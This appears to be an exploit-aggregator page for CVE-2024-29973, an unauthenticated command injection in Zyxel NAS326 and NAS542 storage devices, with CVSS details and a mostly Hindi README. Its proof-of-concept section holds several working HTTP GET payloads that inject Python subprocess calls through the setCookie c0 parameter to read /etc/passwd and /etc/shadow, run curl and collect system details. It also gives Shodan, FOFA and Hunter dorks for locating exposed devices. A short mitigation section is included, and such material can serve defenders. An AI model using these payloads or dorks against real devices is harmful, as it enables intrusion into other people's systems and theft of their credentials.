Exploit for CVE-2024-29973

kitploit · 2026-09-06

Description

Unauthenticated command injection in Zyxel NAS542 and NAS326 via HTTP request parameters.

Entry point

Parameterc0 · query param

Path/cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)%2Band+False+or+__import__("subprocess").check_output("id",+shell=True)%23

Command injection via setCookie parameter in Zyxel NAS firmware (CVE-2024-29973)

Affected Zyxel nas326 Firmware versions

Zyxel nas326 Firmware< 5.21\(aazf.17\)c0

All known vulnerabilities by product

Zyxel Nas326 Zyxel Nas542

CVSS 9.8 for CVE-2024-29973

9.8

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

CVE Information

CVE-2024-29973

Exploit Details

Modified:2026-09-06 00:36

Last Seen:2026-09-06 20:32

Reporter:KitPloit

Other exploits for CVE-2024-29973

CVE-2024-29973

2026-09-06 KitPloitKITPLOIT

CVE-2024-29973

2026-09-06 KitPloitKITPLOIT

CVE-2024-29973

2026-09-06 KitPloitKITPLOIT

CVE-2024-29973

2026-09-05 KitPloitKITPLOIT

CVE-2024-29973

2026-09-04 KitPloitKITPLOIT

CVE-2024-29973

2026-09-01 KitPloitKITPLOIT

Exploit for OS Command Injection in Zyxel Nas326_Firmware

2024-10-10 skyrowalkerGITHUB

Exploit for OS Command Injection in Zyxel Nas326_Firmware

2024-06-21 RevoltSecuritiesGITHUB

Exploit Code

MARKDOWN99 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KERNEL364-CVE-2024-29973
# CVE-2024-29973 - रिमोट कमांड इंजेक्शन भेद्यता

## विवरण

CVE-2024-29973 कुछ Zyxel नेटवर्किंग उपकरणों में पाई जाने वाली एक गंभीर भेद्यता है। यह भेद्यता एक अनधिकृत हमलावर को फर्मवेयर में अनुचित इनपुट सत्यापन तंत्रों का फायदा उठाकर लक्षित डिवाइस पर मनमाने कमांड निष्पादित करने की अनुमति देती है। हमलावर डिवाइस पर विशेष रूप से तैयार किए गए HTTP अनुरोध भेज सकते हैं, सिस्टम-स्तरीय कमांड इंजेक्ट कर सकते हैं और संभावित रूप से डिवाइस पर पूर्ण नियंत्रण प्राप्त कर सकते हैं।

### Dorks

Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"

### यह कैसे काम करता है

कमांड इंजेक्शन: यह भेद्यता डिवाइस के वेब इंटरफेस में से एक में अपर्याप्त इनपुट सैनिटाइज़ेशन के कारण उत्पन्न होती है। यह दोष हमलावरों को HTTP अनुरोधों के मापदंडों के भीतर ऑपरेटिंग सिस्टम कमांड जोड़ने की अनुमति देता है।

एक्सप्लॉइट उदाहरण: हमलावर नीचे दिए गए उदाहरण जैसे HTTP GET अनुरोध के माध्यम से कमांड इंजेक्ट करके मनमाना कोड निष्पादित कर सकते हैं:

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
    

प्रभाव: सफल शोषण के परिणामस्वरूप सिस्टम कमांड निष्पादित करने की क्षमता प्राप्त होती है, जिससे संभावित रूप से डिवाइस पर रिमोट नियंत्रण, डेटा रिसाव, या नेटवर्क से आगे समझौता हो सकता है।

## रोकथाम

इस भेद्यता से जुड़े जोखिमों को कम करने के लिए, इन चरणों का पालन करें:

फर्मवेयर अपडेट: सुनिश्चित करें कि सभी Zyxel डिवाइस नवीनतम फर्मवेयर संस्करण में अपडेट किए गए हैं। Zyxel ने इस भेद्यता को संबोधित करने वाले पैच जारी किए हैं। नियमित रूप से अपडेट की जाँच करें और उन्हें तुरंत लागू करें।

नेटवर्क विभाजन: कमजोर डिवाइसों को महत्वपूर्ण नेटवर्क बुनियादी ढांचे से अलग करें। केवल आवश्यक सेवाओं को उजागर करें और सुनिश्चित करें कि प्रशासनिक इंटरफेस सार्वजनिक रूप से सुलभ नहीं हैं।

फ़ायरवॉल कॉन्फ़िगरेशन: आने वाले और बाहर जाने वाले ट्रैफ़िक को केवल आवश्यक सेवाओं तक सीमित करें। Zyxel डिवाइसों तक अनावश्यक HTTP पहुँच को ब्लॉक करें।

संदिग्ध गतिविधि की निगरानी करें: लॉगिंग और मॉनिटरिंग टूल लागू करें जो असामान्य व्यवहार, जैसे बार-बार लॉगिन प्रयास या असामान्य ट्रैफ़िक पैटर्न का पता लगा सकें और अलर्ट कर सकें।

संदर्भ राष्ट्रीय भेद्यता डेटाबेस - CVE-2024-29973 Zyxel सुरक्षा सलाह

## छवियाँ

![alt text](https://assets.kitploit.com/production/public/readmes/42632/20e6552bfb8a359afa1a0ba9b77944aa1c0bc591bac6ef225e49d177efab91da.png)

# POC

## /etc/passwd

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
    

## /etc/shadow

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
    

## ifconfig

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
    

## hostname

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
    

## ip

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
    

## uname -a

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
    

## /etc/group

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1

Exploit Code

Share

Share on social media: